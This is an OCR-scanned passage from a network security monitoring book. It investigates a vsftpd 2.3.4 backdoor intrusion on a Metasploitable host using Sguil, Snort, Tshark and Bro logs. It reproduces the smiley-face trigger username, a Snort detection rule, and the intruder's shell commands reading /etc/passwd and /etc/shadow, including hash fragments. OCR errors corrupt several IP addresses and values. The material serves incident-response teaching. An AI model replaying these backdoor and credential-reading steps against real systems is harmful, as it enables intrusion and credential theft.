sovm-eth1 5.1362864... 2013-03-09 21 2013-03-0921:34:12  203.0.113.10 35475 192.168.3.5 514 6 3 246 5 219
sovm-eth1 5.1362864... 2013-03-09 21:34:03 2013-03-0921:34:08  203.0.113.10 52244  192.168.3.5 1524 6 7 298 5 267
sovm-eth1 5.1362864... 2013-03-09 21:34:07 2013-03-0921:34:17  203.0.113.10 35477 192.168.3.5 514 6 3 174 5 219
sovm-eth1 5.1362864... 2013-03-09 21:34:08 2013-03-0921:34:13  203.0.113.10 52246 192.168.3.5 1524 6 8 258 6 251
sovm-eth1 5.1362864... 2013-03-09 21:34:12 2013-03-0921:34:22  203.0.113.10 35479  192.168.3.5 514 6 5 164 5 219
sovm-eth1 5.1362864... 2013-03-09 21:34:13 2013-03-0921:34:18  203.0.113.10 52248 192.168.3.5 1524 6 7 216 6 278
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 524 192.168.3.5 513 6 %) 148 3 104
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 395 192.168.3.5 111 6 6 244 4 164
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 719 192.168.3.5 111 6 6 244 4 164
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 916 192.168.3.5 m 6 6 244 4 164
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 497 192.168.3.5 2049 6 6 244 4 172
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 927 192.168.3.5 m 6 6 244 4 172
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:28  203.0.113.10 277 192.168.3.5 514 6 4 180 4 187
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 647 192.168.3.5 2049 6 8 352 5 224
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 683 192.168.3.5 2049 6 8 352 5 224
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 997 192.168.3.5 2049 [} 8 352 5 224
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:48  203.0.113.10 853 192.168.3.5 1524 [} 7 252 5 264
sovm-eth1 5.1362865... 2013-03-09 21:38:38 2013-03-0921:38:38  203.0.113.10 40206 192.168.3.5 6200 6 1 40 1 20
sovm-eth1 5.1362865... 2013-03-09 21:38:38 2013-03-0921:43:38  203.0.113.10 50376  192.168.3.5 21 [} 8 261 8 332
sovm-eth1 5.1362865... 2013-03-09 21:38:38 2013-03-0921:47:28  203.0.113.10 60155 192.168.3.5 6200 6 1317 65447 1449 355302
sovm-eth1 5.1362865... 2013-03-09 21:46:37 2013-03-0921:46:37  203.0.113.10 53633  192.168.3.13 6200 6 1 40 1 20
sovm-eth1 5.1362865... 2013-03-09 21:46:37 2013-03-0921:46:37  203.0.113.10 59237 192.168.3.13 6200 6 1 40 1 20
sovm-eth1 5.1362865... 2013-03-09 21:46:37 2013-03-0921:46:40  203.0.113.10 49220  192.168.3.13 21 6 10 305 9 414
sovm-eth1 5.1362959... 2013-03-10 23:51:31 2013-03-1023:51:37  192.168.3.5 1099 203.0.113.10 35347 6 6 192 0 0 f
1 T
Figure 10-8: Reconnaissance phase 5 ends, and the intruder attacks a victim.
- 'SGUIL-0!8:0)- Connected!Tolocalhost IR

File Query Reports Sound: Off ServerName: localhost UserMame: sovm UserID: 2

RealTime Evenlsw Escalated Euents‘} Sancp Query 1 W

203.0.113.10 192.168.3.5 PADS New Asset - unknown @mysq F
2013-03-0921:32:28  203.0.113.10 47992  192.168.3.5 8180 6 PADS New Asset - http Apache Coyote 1.1
2013-03-0921:38:38  192.168.3.5 6200 203.0.113.10 60155 & GPL ATTACK_RESPONSE id check returned root
2013-03-0921:38:38  203.0.113.10 50376 192.168.3.5 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley <1
2013-03-0921:42:00  203.0.113.10 60155 192.168.3.5 6200 6 PADS New Asset - sql MySQL 3.0.20-0.1ubuntu1
2013-03-1001:5%:43  203.0.113.77 192.168.3.5 1 GPLICMP_INFO PING *NIX J
2013-03-1001:59:43  203.0.113.77 192.168.3.5 1 GPL ICMP_INFO PING BSDtype vl

W Show Packet Data W Show Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"ET EXPLOIT VSFTPD Backdoor User Login Smiley™;
[ Reverse DNS [ Enable External DNS flow:established,to_server; content:"USER "; depth:5; content:"|3a 29| "; distance:0;

IP Resolution w Agent Status. ] Snurtstatistis] System Msgs W

SrcIp: classtype:attempted-admin; sid:2013188; rev:4;)
i /nsm/server_data/securityonion/rules/sovm-eth1-1/downloaded.rules: Line 10562
Src Name:
=
Dst IP: SourceIP Dest IP Ver HL TOS len  ID Flags Offset TTL ChkSum
Dst Name: 203011310 [192.168.3.5 la 5 o [p3 (2332 o e3 [13128
Whois Query: = None ¢ SrcIP [ DstIP UAPRSF
| Source Dest RRRCSSY I
Port Port 1T0GKHTNN Seq# Ack#  Offset Res Window Urp ChkSum

50376 21 || | x x| [ | 3850605801 1889023740[8 o |m3 o |ao7es
55 53 45 52 20 30 4D 3A 29 0D 0A USER OM:).. Al

Search Packet Payload ‘ T Hex ™ Text [ MNoCase

.l.l

Figure 10-9: Snort alert data following reconnaissance alerts
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I've highlighted the record for the ET EXPLOIT alert because it appears to
be the most straightforward one, and it uses a fairly familiar protocol: FTP.
Sguil’s Show Packet Data option reveals that the username supplied to the
FTP server is oM: ), followed by a carriage return (oD) and line feed (0A). (FTP
ends commands with these characters, meaning they were transmitted by
the FTP client when the user (or attack tool) entered the FTP username.)

We can try to generate a transcript for this event by right-clicking the
Alert ID field and selecting Transcript. The result is shown in Listing 10-2.

Sensor Name:
Timestamp:
Connection ID:
Src IP:

Dst IP:

Src Port:

Dst Port:

0S Fingerprint:

sovm-eth1-1
2013-03-09 21:38:38
.sovm-eth1-1_6011
203.0.113.100 (Unknown)
192.168.3.50 (Unknown)
50376
210

-> 192.168.3.5:21 (link: ethernet/modem)

DST: 220 (vsFTPd 2.3.4)@

DST:

SRC: USER OM:)®

SRC:

DST: 331 Please specify the password.

DST:

SRC: PASS azz®

SRC:

DST: 421 Timeout.@

DST:

Listing 10-2: Transcript of ET EXPLOIT Alert
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This transcript shows 203.0.113.10 @ logging in to the FTP server @ on
port 21 TCP ® on 192.168.3.5 @. The username is 0M:) @, as noted earlier
by the Snort alert. The client provides a password of azz @, but no commu-
nication takes place @. What happened next, and what about the connection
involving port 6200 TCP?

Reviewing Full Content Data with Tshark

In situations like this, I recommend examining the original traffic as
recorded by the full content data. We’re interested in traffic occurring at
the 2013-03-09 21:38:38 timestamp involving port 21 or 6200 TCP. We can
read the full content data by looking in the appropriate directory on the
sensor named sovm and by watching the eth1 interface. We run the 1s com-
mand to see the name of the full content file available for review, as shown
in Listing 10-3.
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$ cd /nsm/sensor_data/sovm-eth1/dailylogs/2013-03-09

$1s
snort.log.1362864654

$ tshark -n -t ad -r snort.log.1362864654 tcp.port==21 or tcp.port==6200

Listing 10-3: Finding the full content data and running Tshark

We use Tshark because, by default, it displays more protocol-level details,
making it easier to follow what’s happening. Now we’ll look at each relevant
part of these details, section by section. (We begin by ignoring traffic asso-
ciated with reconnaissance.)

Listing 10-4 shows the first two packets of interest.

6589 2013-03-09 21:38:38.159255 203.0.113.100® -> 192.168.3.5©
TCP 74 40206 > 62000 [SYN] Seq=0 Win=14600 Len=0 MSS=1460
SACK_PERM=1 TSval=695390 TSecr=0 WS=16

6590 2013-03-09 21:38:38.159451 192.168.3.5 -> 203.0.113.10
TCP 60 6200 > 40206 [RST, ACK]® Seq=1 Ack=1 Win=0 Len=0

Listing 10-4: 203.0.113.10 tries to connect to port 6200 TCP on 192.168.3.5 but fails.

In Listing 10-4, 203.0.113.10 @ is trying to connect to port 6200 TCP @
on 192.168.3.5 ©, but the connection fails because port 6200 TCP is not lis-
tening. It replies with RST, ACK @.

Listing 10-5 shows what happens next.

6591 2013-03-09 21:38:38.160692 203.0.113.100® -> 192.168.3.5©

TCP 74 50376 > 21@® [SYN] Seq=0 Win=14600 Len=0 MSS=1460

SACK_PERM=1 TSval=695390 TSecr=0 WS=16

6592 2013-03-09 21:38:38.160702 192.168.3.5 -> 203.0.113.10

TCP 74 21 > 50376 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460

SACK_PERM=1 TSval=276175 TSecr=695390 WS=32

6593 2013-03-09 21:38:38.161131 203.0.113.10 -> 192.168.3.5

TCP 66 50376 > 21 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695390 TSecr=276175
6594 2013-03-09 21:38:38.162679 192.168.3.5 -> 203.0.113.10

FTP 86 Response: 220 (vsFTPd 2.3.4)
6595 2013-03-09 21:38:38.163164 203.0.113.10 -> 192.168.3.5

TCP 66 50376 > 21 [ACK] Seq=1 Ack=21 Win=14608 Len=0 TSval=695391 TSecr=276175
6596 2013-03-09 21:38:38.164876 203.0.113.10 -> 192.168.3.5

FTP 77 Request: USER oM:)®
6597 2013-03-09 21:38:38.164886 192.168.3.5 -> 203.0.113.10

TCP 66 21 > 50376 [ACK] Seq=21 Ack=12 Win=5792 Len=0 TSval=276175 TSecr=695391
6598 2013-03-09 21:38:38.164888 192.168.3.5 -> 203.0.113.10

FTP 100 Response: 331 Please specify the password.
6599 2013-03-09 21:38:38.166318 203.0.113.10 -> 192.168.3.5

FTP 76 Request: PASS azz®

Listing 10-5: 203.0.113.10 logs in to the FTP server at 192.168.3.5.
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In Listing 10-5, we see that 203.0.113.10 @ connects to the FTP service
on port 21 TCP @ on 192.168.3.5 ©. We also see user oM:) @ log in and
provide the password azz . Listing 10-6 shows the consequence of the suc-
cessful login.

6600 2013-03-09 21:38:38.166971 203.0.113.100® -> 192.168.3.5©

TCP 74 60155 > 6200@ [SYN] Seq=0 Win=14600 Len=0 MSS=1460

SACK_PERM=1 TSval=695392 TSecr=0 WS=16

6601 2013-03-09 21:38:38.166978 192.168.3.5 -> 203.0.113.10

TCP 74 6200 > 60155 [SYN, ACK]® Seq=0 Ack=1 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=276175 TSecr=695392 WS=32

6602 2013-03-09 21:38:38.168296 203.0.113.10 -> 192.168.3.5

TCP 66 60155 > 6200 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695392 TSecr=276175
6603 2013-03-09 21:38:38.168738 203.0.113.10 -> 192.168.3.5

TCP 69 60155 > 6200 [PSH, ACK] Seq=1 Ack=1 Win=14608 Len=3 TSval=695392 TSecr=276175
6604 2013-03-09 21:38:38.168775 192.168.3.5 -> 203.0.113.10

TCP 66 6200 > 60155 [ACK] Seq=1 Ack=4 Win=5792 Len=0 TSval=276175 TSecr=695392
-- snip --

Listing 10-6: 203.0.113.10 connects to port 6200 TCP on 192.168.3.5.

Immediately, before tearing down the connection to the FTP server,
we see a new connection from 203.0.113.10 @ to port 6200 TCP @ on
192.168.3.5 ®©. This time, unlike in Listing 10-4, port 6200 TCP is listen-
ing, and it accepts the connection by replying with SYN, ACK @.

This sequence of events shows that port 6200 TCP was not actively accept-
ing connections until 203.0.113.10 logged in to the FTP server and provided
the proper username and password.

Understanding the Backdoor

This pattern indicates that the FTP server at 192.168.3.5 was coded with a
backdoor watching for a certain username and password. In our case, we
saw user OM:) and password azz.

It turns out that 192.168.3.5 was running a version of the vsftpd FTP
server that contained an unauthorized backdoor, as reported in July 2011
by vsftpd developer Chris Evans (Attp://scarybeastsecurity.blogspot.com/2011/07/
alert-vsftpd-download-backdoored. html). No details on how the code was
backdoored appear in the blog post, but the net effect was availability of
software that contained a serious security flaw. Users who enter a username
ending in a smiley face (like :)) will enjoy the ability to connect to a back-
door on the FTP server. Figure 10-10 summarizes the situation and adds
specific details for this case.

Why did the logs show records involving port 6200 TCP before the suc-
cessful exploitation of the FTP server? As we saw in the full content data
rendered by Tshark, the FTP connection happened before the backdoor
connection. Apparently, the tools used to log the alert and session data
couldn’t differentiate between the start times for these connections, and
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they logged them out of order. This happens occasionally when performing
NSM. This phenomenon helps support the idea of collecting multiple NSM
datatypes. When something doesn’t look quite right, you can compare dif-
ferent datatypes to better determine what really happened.

1. Intruder initiates attack against exposed,
vulnerable application on victim system.

NETWORK CONNECTION to port 21 TCP

Intruder Victim
192.168.3.5

203.0.113.10

2. Attack method exploits vulnerable application
on victim system to execute code or commands.
user OM:)
pass azz

NETWORK CONNECTION to port 6200 TCP

Intruder - Victim
203.0.113.10 o 192.168.3.5

3. Malicious code interacts with intruder:
Intruder initiates new connection to
backdoor created by malicious code.

Figure 10-10: Server-side attack involving exploitation of vulnerable vsftpd server

What Did the Intruder Do?

Having confirmed that a malicious act took place, we need to understand
its impact. This scenario appears to be at least a Breach 3 incident, because
an intruder has established a C2 channel from his computer to the victim.
How can we find out how bad things are?

We've seen a GPL ATTACK_RESPONSE alert indicating id check returned root.
We also know that port 6200 TCP is the C2 channel. We might be able to
learn what the intruder is doing by generating a transcript for this connec-
tion, either through the GPL ATTACK_RESPONSE alert or by using the session
data from 203.0.113.10 to port 6200 TCP on 192.168.3.5. We can examine
the contents of that session in detail by generating a transcript, as you'll see
in the following section. This examination should give us a better sense of
what the intruder is doing.

Initial Access

The transcript for activity from 203.0.113.10 to 192.168.3.5, shown in
Listing 10-7, shows a variety of events. We can’t be sure if an intruder is
interacting with the system in a live manner or if he is executing an auto-
mated attack. What matters, though, are the consequences of the activities.
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Sensor Name: sovm-eth1-1

Timestamp: 2013-03-09 21:38:38
Connection ID: .sovm-eth1-1_6012

Src IP: 203.0.113.100 (Unknown)
Dst IP: 192.168.3.50 (Unknown)
Src Port: 60155

Dst Port: 6200

0S Fingerprint: 203.0.113.10:60155 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:?:2] (up: 1 hrs)
0S Fingerprint: -> 192.168.3.5:6200 (link: ethernet/modem)

SRC: id®

DST: uid=0(root) gid=0(root) @

SRC: nohup >/dev/null 2>81

SRC: echo T33KwxKuFgj4Uhy7

DST: T33KwxKuFgj4Uhy7

SRC: whoami®

DST: root®

SRC: echo 3816568630;echo hJZeerbzDFqlJEwWx1lyePwOzBhEhQYbN
DST: 3816568630

DST: hJZeerbzDFqlJEwhx1lyePwOzBhEhQYbN

SRC: id -u® ;echo idGIIXVuiPbrznIwlhwdADgMpAAyLI1j@©
DST: 0©

DST: idGIIxVuiPbrznIwlhwdADgMpAAyLI1j

Listing 10-7: The beginning of the transcript showing activity from 203.0.113.10 to 192.168.3.5

The first part of the transcript shows 203.0.113.10 @ as the source (SRC)
IP address, and 192.168.3.5 @ as the destination (DST) IP address. The
intruder, or code executed by the intruder, runs the Unix id command ©
to determine the privileges that the channel currently provides. The result
indicates that this is a root-level account @. We see confirmation of the user
account with the whoami command @ and its corresponding result: root ®.
Now, using the id command with the -u switch @, the intruder sees the effec-
tive user ID of 0 @, which is again associated with root access. The intruder
or his script appears to be using echo statements with long strings @ to mark
certain places in the flow of activity on the system.

Enumerating the Victim

The transcript continues as shown in Listing 10-8. After running some basic
commands, the intruder spends more time learning about the victim.

SRC: /usr/sbin/dmidecode® ;echo WqyRBNDvoqzwtPMOWXAZNDHVcqKrjVOA
DST: # dmidecode 2.9

DST: SMBIOS 2.4 present.

DST: 364 structures occupying 16040 bytes.

DST: Table at 0x000E0010.

-- snip --

DST: Handle 0x016B, DMI type 127, 4 bytes

DST: End Of Table

DST: WgyRBNDvoqzwtPMOWXAZNDHVCqKrjVOA
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SRC:
DST:
DST:
DST:
DST:
DST:

1s /etc® ;echo PZhfAinSgdJcyhYaCgAcFDjvciEFALXs
X11

adduser.conf

adjtime

aliases

aliases.db

-- snip --

DST:
DST:
DST:
DST:
DST:
DST:
SRC:
DST:
1686
DST:
SRC:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
SRC:
DST:
DST:

wgetrc

wpa_supplicant

xinetd.conf

xinetd.d

zsh_command_not_found

PZhfAinSgdJcyhYaCgAcFDjvciEFALXs

uname -a® ;echo gS0sIbnmNmNLEQELLTNRfxfLUONndGaS

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
GNU/Linux®

g50sIbnmNmNLEQELLTNRfxfLUQNndGaS

cat '/etc/issue'®;echo KoDdtYNGYWHGPIKHITZtMAYrhsyckIIC

|_|
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started®
KoDdtYNGYWHGPIKHITZtMAYrhsyckIIC

hostname® ;echo SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ
metasploitable

SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ

Listing 10-8: Victim enumeration

The intruder, or his script, enumerates various aspects of the victim

system. He begins with the dmidecode command @ to learn more about the
platform itself. Next, he retrieves a directory listing of /etc ®, where many
key system configuration files reside. Using the uname command @, he dis-
covers which kernel version @ the system is running. Displaying the con-
tents of the issue file shows text that appears after a user logs in @. Finally,
the intruder reads the victim’s hostname @. The host system is running
a Linux distribution called Metasploitable, which is a tool used to learn
digital attack and defense, developed by the Metasploit team at Rapid7
(http://sourceforge.net/projects/metasploitable/files/Metasploitable2/) . Defenders
use Metasploitable for training when performing security assessments
because Metasploitable has nothing but vulnerabilities—making it perfect
for anyone who wants to test the effectiveness of detection systems.

Apparently someone working at Vivian’s Pets downloaded Metasploitable,

installed it on the test network, and left it exposed to the Internet. An intruder
from IP address 203.0.113.10 found the computer, exploited the vulnerable
vsftpd server on it, and enumerated key aspects of the computer.
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Accessing Credentials

In the last part of the transcript, the intruder turns to files where user cre-
dentials are stored, as shown in Listing 10-9.

SRC: cat '/etc/passwd'@®;echo nRVObgMSefnPCALIfCKrtCxyxAFwbXo
SRC:

DST: root:x:0:0:root®:/root:/bin/bash

DST: daemon:x:1:1:daemon:/usx/sbin:/bin/sh

DST: bin:x:2:2:bin:/bin:/bin/sh

DST: sys:x:3:3:sys:/dev:/bin/sh

DST: sync:x:4:65534:sync:/bin:/bin/sync

-- snip --

DST:

DST: nRVObgMSefnPCA1jIfCKrtCxyxAFwbXo

SRC: cat '/etc/shadow® ';echo YMIULmTNrfStudFPMoeddbhSAwYHGUKY
DST: root:$1$/avpfBI1$x0z8w5UF9Iv./DROEILid. :14747:0:99999:7::: @
DST: daemon:*:14684:0:99999:7:::

DST: bin:*:14684:0:99999:7:::

DST: sys:$1$fUX6BPOt$Miyc3Up0zQ]qz4s5wFD910:14742:0:99999:7:::
DST: sync:*:14684:0:99999:7:::

-- snip --

DST:

DST: CKNszVzdeRiiApmbrdHsuAolRXRtIFfF

SRC: ping -c 1 www.google.com®

SRC:

SRC: pwd

SRC:

DST: ping: unknown host www.google.com®

DST:

Listing 10-9: Viewing the /etc passwd and /etc/shadow files

In the final part of the transcript, the intruder displays the contents of
two key system files: /etc/passwd ® and /etc/shadow ©. The /etc/passwd file con-
tains information about users, such as root @, and the /etc/shadow file stores
hashes of the users’ passwords @. The transcript ends with the intruder or his
script trying to ping www.google.com ©, which fails @.

Itis disturbing to see the intruder list the /etc/passwd and /etc/shadow
files containing usernames and hashed passwords for the system. If he breaks
those passwords, he can access the system directly, rather than needing to
break into it using an exploit.

We now understand a good deal about this case, but is that the end of
the story?

What Else Did the Intruder Do?

In order to determine a bit more about what happened, we need to take
a closer look at two other aspects of this case. First, notice in Figure 10-8
that 192.168.3.5 wasn’t the only target of 203.0.113.10. We also see activity
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involving ports 21 and 6200 TCP to 192.168.3.13. We generate a transcript
for port 21 TCP to see what happened to 192.168.3.13. Listing 10-10 shows

the result.
Sensor Name: sovm-eth1
Timestamp: 2013-03-09 21:46:37
Connection ID: .sovm-eth1l 1362865597000002352
Src IP: 203.0.113.10 (Unknown)
Dst IP: 192.168.3.130 (Unknown)
Src Port: 49220
Dst Port: 2108

0S Fingerprint: 203.0.113.10:49220 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:2:2] (up: 2 hrs)
0S Fingerprint:  -> 192.168.3.13:21 (link: ethernet/modem)

DST: 220 (vsFTPd 2.3.5)®

DST:

SRC: USER 1dxF:)®

SRC:

DST: 331 Please specify the password.
DST:

SRC: PASS 0ibjz

SRC:

DST: 530 Login incorrect.®

DST:

DST: 500 OOPS:

DST: vsf_sysutil recv_peek: no data
DST:

Listing 10-10: Transcript of FTP connection from 203.0.113.10 to 192.168.3.13

We can see that the intruder tried the same smiley face attack @ against
an FTP server ® and ©® on 192.168.3.13 @, but that he received a rude Login
incorrect error @ in return. The attack failed. Furthermore, according to
the NSM session data, no connections were made to port 6200 TCP on
192.168.3.13, which tells us that 192.168.3.13 was not affected by this attack.

Now we must determine what else may have happened to 192.168.3.5.
We saw the intruder connect to the FTP server and interact with a back-
door. Did he do anything beyond that? To answer this question, we run a
new session data query for all sessions involving the victim 192.168.3.5, as
shown in Listing 10-11. The results are shown in Figure 10-11.

WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_
ATON('192.168.3.5") AND dst_port!=137 AND dst_port!=138

Listing 10-11: Search syntax for session data involving 192.168.3.5

When running this query, I added commands to ignore ports 137 and
138 because when I first reviewed the data, I saw many irrelevant session
records for these Windows services. Because they are not germane to this
incident, I've removed them from the output shown in Figure 10-11.
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- SGUIL-0:8.0 - Connected To'localhost: G [m] b
File Query Reports Sound: Off Ser localhost L sovm UserlD: 2 2013-03-13 21:42:34 GMT

et ents | et sents | s query 1 | sanp qury2 | soncp Query s vy |

Close |INDEX(p_key) INNERJOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time >'2013-03-09' AND sancp.src_ip = INET_ATON('192.168.3.5') and
dst_port!=137 and dst_port!=138 ) UNION ( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time,
Export INET_NTOA(sancp.src_ip), sancp.src_port, INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts,

Cnx ID Start Time End Time SrcIP Dst IP DFort

sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-09 21:34:18  203.0.113.10 395 192.168.3.5 1

6 6 4
sovm-eth1 5.1362864858000002... 2013-03-0921:34:18  2013-03-0921:34:18  203.0.113.10 497 192.168.3.5 2049 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-09 21:34:18  203.0.113.10 524 192.168.3.5 513 6 2 148 3]
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-0921:34:18  203.0.113.10 647 192.168.3.5 2049 6 8 352 5
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-0921:34:18 203.0.113.10 683 192.168.3.5 2049 ] 8 352 5]
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-09 21:34:18  203.0.113.10 719 192.168.3.5 1m 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-09 21:34:48 203.0.113.10 853 192.168.3.5 1524 ] 7 252 5]
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-09 21:34:18  203.0.113.10 916 192.168.3.5 m 6 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-09 21:34:18  203.0.113.10 927 192.168.3.5 11 ] 6 244 4
sovm-eth1 5.1362864858000002...  2013-03-0921:34:18  2013-03-0921:34:18 203.0.113.10 997 192.168.3.5 2049 6 8 352 5
sovm-eth1 5.1362864858000002...  2013-03-09 21:34:18  2013-03-09 21:34:23  192.168.3.5 48092  192.168.3.1 53 w7 2 102 0
sovm-eth1 5.1362865118000002...  2013-03-09 21:38:38  2013-03-0921:38:38 203.0.113.10 40206 192.168.3.5 6200 6 1 40 1
sovm-eth1 5.1362865118000002...  2013-03-0921:38:38  2013-03-0921:43:38  203.0.113.10 50376  192.168.3.5 21 6 8 261 8
sovm-eth1 5.1362865118000002...  2013-03-0921:38:38  2013-03-0921:47:28 203.0.113.10 60155 192.168.3.5 6200 6 1317 65447 1449
sovm-eth1 5.1362865235000002...  2013-03-09 21:40:35  2013-03-0921:40:40 192.168.3.5 60307  192.168.3.1 53 Wz 100 0
sovm-eth1 5.1362865628000002...  2013-03-0921:47:08  2013-03-0921:47:13 192.168.3.5 36911  192.168.3.1 53 7 2 80 0
sovm-eth1 5.1362865638000002...  2013-03-09 21:47:18  2013-03-0021:47:23  192.168.3.5 49467  192.168.3.1 53 w# 104 0
sovm-eth1 5.1362880783000002... 2013-03-1001:59:43  2013-03-1002:00:43 203.0.113.77 0 192.168.3.5 0 1 2 128 2
sovm-eth1 5.1362880870000002...  2013-03-1002:01:10  2013-03-1002:03:24  203.0.113.77 65438  192.168.3.5 22 6 309 19145 207
sovm-eth1 5.1362880872000002...  2013-03-1002:01:12  2013-03-1002:01:17  192.168.3.5 51268  192.168.3.1 53 7 2 102 0
sovm-eth1 5.1362880970000002...  2013-03-1002:02:50  2013-03-1002:03:15 192.168.3.5 32904  203.0.113.4 21 6 23 878 17
sovm-eth1 5.1362880986000002...  2013-03-1002:03:06  2013-03-1002:03:06 203.0.113.4 20 192.168.3.5 33012 b 587 18792 639
sovm-eth1 5.1362880991000002...  2013-03-1002:03:11  2013-03-1002:03;11  203.0.113.4 20 192.168.3.5 56377 6 4 769 3
sovm-eth1 5.1362959491000006...  2013-03-1023:51:31  2013-03-1023:51:37 192.168.3.5 1099 203.0.113.10 35347 6 6 192 0 J’

B

Figure 10-11: Session data for 192.168.3.5

We’ve seen some of this activity in earlier results, but our focus here
is 192.168.3.5, not 203.0.113.10. The most interesting new records involve
two new IP addresses in the 203.0.113.0/24 net block: 203.0.113.77 and
203.0.113.4. These two IP addresses appear in the session records begin-
ning at 2013-03-10 01:59:43. Apparently, our original intruder is either
cooperating with colleagues or he controls those systems!

I recommend creating at least notional diagrams of systems involved in
NSM when trying to understand the scope of an incident. You will not iden-
tify all of the infrastructure between victim systems and remote attackers,
but depicting them visually can help you better recognize what is happening
in real-world cases. Figure 10-12 summarizes our current understanding of
all of the systems involved in this case.

Exploring the Session Data

Let’s consider the new sessions unearthed by querying the victim IP address
to determine the scope of the incident, bearing in mind this simple rule:
The only constant in an intrusion is the victim. Intruders may try to obfus-
cate their activities by changing attacking systems, hopping from attacking
platform to attacking platform; incident responders who fixate on attacker
IP addresses will miss these jumps. Keep the victim in mind, and you won’t
be fooled.
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Intruder 1
203.0.113.10

Server ‘E
192.168.3.5

Desktop
192.168.3.13

Figure 10-12: Systems observed in this case

Notice in Figure 10-11 that we start with the three DNS queries made
by 192.168.3.5 beginning with 2013-03-09 21:40:35. We could use the Sguil
console to try to generate Wireshark output for each session in order to see
the queries and replies, but instead, we’ll refer to DNS logs captured by Bro,
stored in the /nsm/bro/logs/2013-03-09 directory. As you’ll see, the Bro logs
are a form of transaction data and metadata.

Searching Bro DNS Logs

There are many ways to search Bro DNS logs for specific entries. One simple
way is from the command line, as shown in Listing 10-12.

$ zcat dns.21\:31\:10-22\:00\:00.1l0g.gz | bro-cut -d | grep 192.168.3.5 |
grep -v WORKGROUP

-- snip --

2013-03-09T21:40:35+0000 k3hPbe4s2H2 192.168.3.50@ 60307
192.168.3.1 53 udp 40264  2.3.168.192.in-addr.arpa® 1
C_INTERNET 12 PTR® - - F F T F
0 -

2013-03-09T21:47:08+0000 i1zTu4rfvvk 192.168.3.50 36911
192.168.3.1 53 udp 62798  www.google.com® 1

C_INTERNET 1 A - - F F T F
0 - -

2013-03-09T21:47:18+0000 H5Wjg7kx02d 192.168.3.50 49467
192.168.3.1 53 udp 32005  www.google.com.localdomain@ 1
C_INTERNET 1 A - - F F T F
0 -

Listing 10-12: DNS records logged by Bro
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First, we use zcat, because the Bro log is gzip-compressed. Next, we pipe
the result into bro-cut with the -d switch, which converts Bro’s native Unix
epoch time format into a human-readable version. We then grep for the IP
address of the victim, 192.168.3.5, followed by a grep to ignore (using the -v
switch) any records containing WORKGROUP. Bro’s log contains DNS queries and
replies, as well as logs of NetBIOS name service traffic, which we remove
with bro-cut -d. By default, that syntax omits the headers for these records.

Asyou can see in Listing 10-12, 192.168.3.5 @ queried for a PTR record @
for 2.3.168.192.in-addr.arpa ®, which is probably not related to the intrusion.
Then seven minutes later, the system @ @ queried for www.google.com ® and
www.google.com.localdomain @. These last two DNS queries correspond to
the intruder’s attempt to ping www.google.com. Seeing the header in Bro logs
can help us better understand them. One way to see header data is to avoid
piping the output through bro-cut. Instead, limit the output using the head
command, as shown in Listing 10-13.

$ zcat dns.21\:31\:10-22\:00\:00.log.gz | head
#separator \x09

#set_separator ,

#tempty field (empty)

#unset_field -

#path  dns

#open  2013-03-09-21-31-10

#fields ts uid id.orig _h id.orig p id.resp_h

id.resp p proto  trans_id query qclass qclass_name qtype
qtype_name rcode  rcode_name AA TC RD RA yA
answers TTLs

#types time string addr port addr port enum count  string
count  string count string count string bool bool bool bool
count  vector[string] vector[interval]

Listing 10-13: Fields and datatypes in the Bro DNS log

Searching Bro SSH Logs

Following the three DNS entries, Figure 10-11 shows 203.0.113.77 pinging
192.168.3.5 via IP protocol 0, ICMP. This is the first traffic we’ve seen from
203.0.113.77.

The next record shows traffic from 203.0.113.77 to port 22 TCP on
192.168.3.5. This is likely SSH traffic, which we can confirm by looking at full
content data or by checking a few Bro logs. For example, in the 2013-03-10
directory, we see the entry shown in Listing 10-14 in ssh.log. (Note that in
order to see the headers for the fields, we omit using bro-cut, as we did for
Listing 10-13.) The listing shows the entire log since it contains only one
entry of interest.
